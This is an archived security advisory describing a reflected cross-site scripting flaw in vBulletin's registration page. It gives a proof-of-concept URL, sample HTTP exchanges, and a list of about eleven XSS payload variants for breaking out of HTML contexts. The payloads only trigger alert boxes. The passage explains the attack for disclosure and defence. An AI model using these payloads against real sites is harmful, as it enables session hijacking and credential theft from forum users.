Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web BBS :: Frequently Exploited :: hack2664.htm

VBulletin forum software XSS



Cross Site Scripting in VBulletin forum software



Client side execution of malicious scripts (cross-site scripting)





Test Impact

Customer session and cookies may be compromised. The attacker may be able to pose as a legitimate user to view and alter user records, and perform transactions as that user.  From the polarised perspective, a user may only be able to effect a simple Cross Site Script.



Affected Products

Jelsoft VBulletin



About VBulletin

VBulletin is a powerful, scalable and fully customisable forums package for your web site. Based on the PHP language, backed with a blisteringly fast MySQL back-end database, vBulletin is the ideal community solution for all medium-to-large sites.



Actual exploit



>From http://iwww.domain.tld/forum/register.php? The user should navigate to http://www.domain.tld/forum/register.php by selecting the checkbox and register button.  The user may add what ever session specific information is available, in the case of the test I added the following:

http://www.domain.tld/forum/register.php?s=60b7ac47d0eba9853b6e36 a3b18924bc&s=&do=register&url=AK%22%20style%3D%22background:url(javascript:alert(%27XSS%20Vulnerable%20To%20Cross%20Site%20Scripting%27))%22%20OS%22&month=0&day=0&year=0&who=adult&agree=1



Test Technical Description

There are three parties involved in this attack:

[1] - Is an attacker who may know the identity of "B", and the structure of site "C".

[2] - Is the victim user (of web-site "C").

[3] - Is the vulnerable web-site.



The attack may become an issue where privacy is concerned. The attacker (A) gains the victim user (B)'s credentials at the vulnerable site (C). When the site involved is vulnerable, it is possible to steal credentials from its users. It is not possible to gain information regarding other sites, so (C)'s vulnerability affects only (C)'s customers.



The attack hinges on the fact that the web site (C) contains a script that returns user's input (usually a parameter value) in an HTML page without first sanitising the input. This allows an input consisting of JavaScript code to be executed by the browser when the script returns this input in the response page. As a result it is possible to form links to the site (C) where one of the parameters consists of malicious JavaScript code. This code will be executed (by (B)'s browser) in (C) site context, granting it access to cookies (B) has for site (C), and other windows in site (C) at browser (B).

The attack proceeds as following: The attacker (A) lures the legitimate user (B) to click on a link that was produced by the attacker. When the user clicks on the link, this generates a request to the web-site (C) containing a parameter value with malicious JavaScript code. If the web-site (C) embeds this parameter value into the response HTML page (this is the essence of the site vulnerability), the malicious code will run in the user's browser (B).



Possible actions that can be performed by the script are:

[1] Sending the attacker the user cookies for the legitimate site

[2] Sending the attacker the current URLs of the legitimate site in which the user has an open window

This information is sent to the attacker (A), and thus the victim user "C"'s security (privacy) is compromised.



Some notes:

[1] Although the attacked web site (C) is involved, it is not compromised directly. It is used as a 'jump station' for the malicious script (sent by the attacker) to return to the victim's browser (B) as if it is legitimate. However, since the privacy of the victim (B) is breached in the context of site (C), and since site (C) is directly responsible, it is considered a security flaw in site (C) (much like a weak session token would have been).

[2] The malicious link can be provided by user (A) using a web site link (given that user (A) maintains a site that is visited by (B)), or - via email (given that user (A) knows user (B)'s email address, and user (B)'s email client uses the browser to render the HTML message).

[3] While user input is most commonly found in form field values (i.e. URL parameters), there are known attacks where the malicious code is embedded in the path, or in the HTTP Referer headers, and even in cookies.



There are two possible scenarios when sending input to a CGI script that is vulnerable to cross-site scripting: 

[A] The parameter value sent to the CGI script is returned in the response page, embedded in the HTML. For example:



[request]

GET /cgi-bin/script.pl?name=USERNAME HTTP/1.0



[response]

HTTP/1.1 200 OK

Server: DOMAIN

Date: Sun, 01 Jan 2002 00:31:19 GMT

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 27





Hello USERNAME





[B] The parameter value sent to the CGI script is returned in HTML parameter value context. For example:



[request]

GET /cgi-bin/script.pl?name=USERNAME HTTP/1.0



[response]

HTTP/1.1 200 OK

Server: DOMAIN

Date: Sun, 01 Jan 2002 00:31:19 GMT

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 254





Please fill in other data:

 


Example 1 - scenario A: the following request is sent by the user [attack request] GET /cgi-bin/script.pl?name=>"'><script>alert(XSS%20Vulnerable%20To%20Cross%20Site%20Scripting')</script> HTTP/1.0 [attack response scenario A] HTTP/1.1 200 OK Server: Domain Date: Sun, 01 Jan 2002 00:31:19 GMT Content-Type: text/html Accept-Ranges: bytes Content-Length: 83 Hello >"'><script>alert('XSS Vulnerable To Cross Site Scripting')</script> In this case, the JavaScript code, will be executed by the browser (The >"'> part is irrelevant here). Example2 - scenario B: (using the same script and input displayed in example 1 to invoke the attack) [attack response scenario B] HTTP/1.1 200 OK Server: Domain Date: Sun, 01 Jan 2002 00:31:19 GMT Content-Type: text/html Accept-Ranges: bytes Content-Length: 310 Please fill in other data:
<script>alert('XSS Vulnerable To Cross Site Scripting')</script>">

The >"'> prefix is used to 'break out' of the parameter value context. Closing the parameter value field ( "'> ) and then closing the tag ( > ) will cause the JavaScript to be executed by the browser, and not to be treated as a parameter value (that will not be parsed/executed as JavaScript code). Listed below are the different variants performed: [1] >'><script>alert(‘XSS Vulnerable To Cross Site Scripting’)</script> [2] >"><script>alert(‘XSS Vulnerable To Cross Site Scripting’)</script> [3] <script>alert(‘XSS Vulnerable To Cross Site Scripting’)</script> [4] >"'> [5] >"'> [6] AK" style="background:url(javascript:alert(‘XSS Vulnerable To Cross Site Scripting’))" OS" [7] --><script>alert(‘XSS Vulnerable To Cross Site Scripting’)</script> [8] '+alert(‘XSS Vulnerable To Cross Site Scripting’)+' [9] "+alert(‘XSS Vulnerable To Cross Site Scripting’)+" [10] >'><%00script>alert(‘XSS Vulnerable To Cross Site Scripting’)</script> (.NET 1.1 specific variant) [11] >"><%00script>alert(‘XSS Vulnerable To Cross Site Scripting’)</script> (.NET 1.1 specific variant) Variant details: Variant [1] & [2]: These are the most basic cross-site scripting variants. The difference between the two variants is the use of quotes/apostrophe in the JavaScript code. Web application programmers only sanitise user input for apostrophe or quotes but not both. Variant [3]: This variant is specifically designed for cases where user input is returned embedded in